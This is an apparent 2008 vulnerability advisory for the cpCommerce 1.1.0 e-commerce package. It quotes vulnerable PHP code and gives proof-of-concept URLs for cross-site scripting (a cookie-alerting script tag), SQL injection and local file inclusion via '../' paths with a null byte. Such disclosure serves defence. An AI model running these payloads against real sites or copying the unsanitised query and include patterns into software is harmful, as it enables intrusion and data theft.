CPCommerce 1.1.0 - Cross-Site Scripting / Local File Inclusion





Platform:

PHP

Date:

2008-04-13


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########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: cpCommerce Multiple Vulnerabilities
# Vendor: http://cpcommerce.cpradio.org
# Bugs: XSS, SQL Injection , Local File Inclusion
# Vulnerable Version: 1.1.0 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/34
######################################################################


####################
- Description:
####################

cpCommerce is an open-source e-commerce solution that is maintained by templates and modules.


####################
- Vulnerability:
####################

+-->XSS
POC: http://localhost/v1.1.0/cpcommerce/calendar.php?obj=view.year&month=2&date=21&year=2008<script>alert(document.cookie)</script>


+-->SQL Injection
Input passed to the "id_product","id_manufacturer" and "id_category" parameters in
functions/display_page.func.php is not properly sanitised before being used in SQL queries.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Code Snippet:
functions/display_page.func.php Line#94-96

if (isset($_GET['id_product']) && trim($_GET['id_product']) != "") {
$product = $db_chooser->sql_query("select `id_category`, `id_manufacturer`, `name`, `description` from " . "" . $db_chooser->Products() . " where id_product='{$_GET['id_product']}' limit 1");


+--> Local File Inclusion
Input passed to the "language" and "action" parameters is not properly verified
before being used to include files.
This can be exploited to include arbitrary files from local resources.

Code Snippet:
actions/language.act.php Line#14-16

  // Verify the Language file exists
  if (isset($_GET['language']) && file_exists("{$folder}{$_GET['language']}"))
    $_SESSION['cpLanguage'] = "{$folder}{$_GET['language']}";

Code Snippet:
_functions.php Line#109-113

  ## Include Language File
  if (isset($_SESSION['cpLanguage']))
    require_once("{$config['document_root']}{$config['maindir']}{$_SESSION['cpLanguage']}");
  else
    require_once("{$config['document_root']}{$config['maindir']}{$config['language']}");

POC: http://localhost/v1.1.0/cpcommerce/?action=language&language=../To%20DO%20LIST.txt

---------------------------------------

Code Snippet:
_functions.php Line#148-152
  ## Run Requested Action
  if (isset($_GET['action'])) $_POST['action'] = $_GET['action'];
  if (isset($_POST['submit']) || isset($_POST['action']))
    if (isset($_POST['action'])) {
      require_once("{$config['document_root']}{$config['maindir']}{$config['actions']}{$_POST['action']}.act.php");

POC: http://localhost/v1.1.0/cpcommerce/category.php?action=../To%20DO%20LIST.txt%00

####################
- Credit :
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

# milw0rm.com [2008-04-13]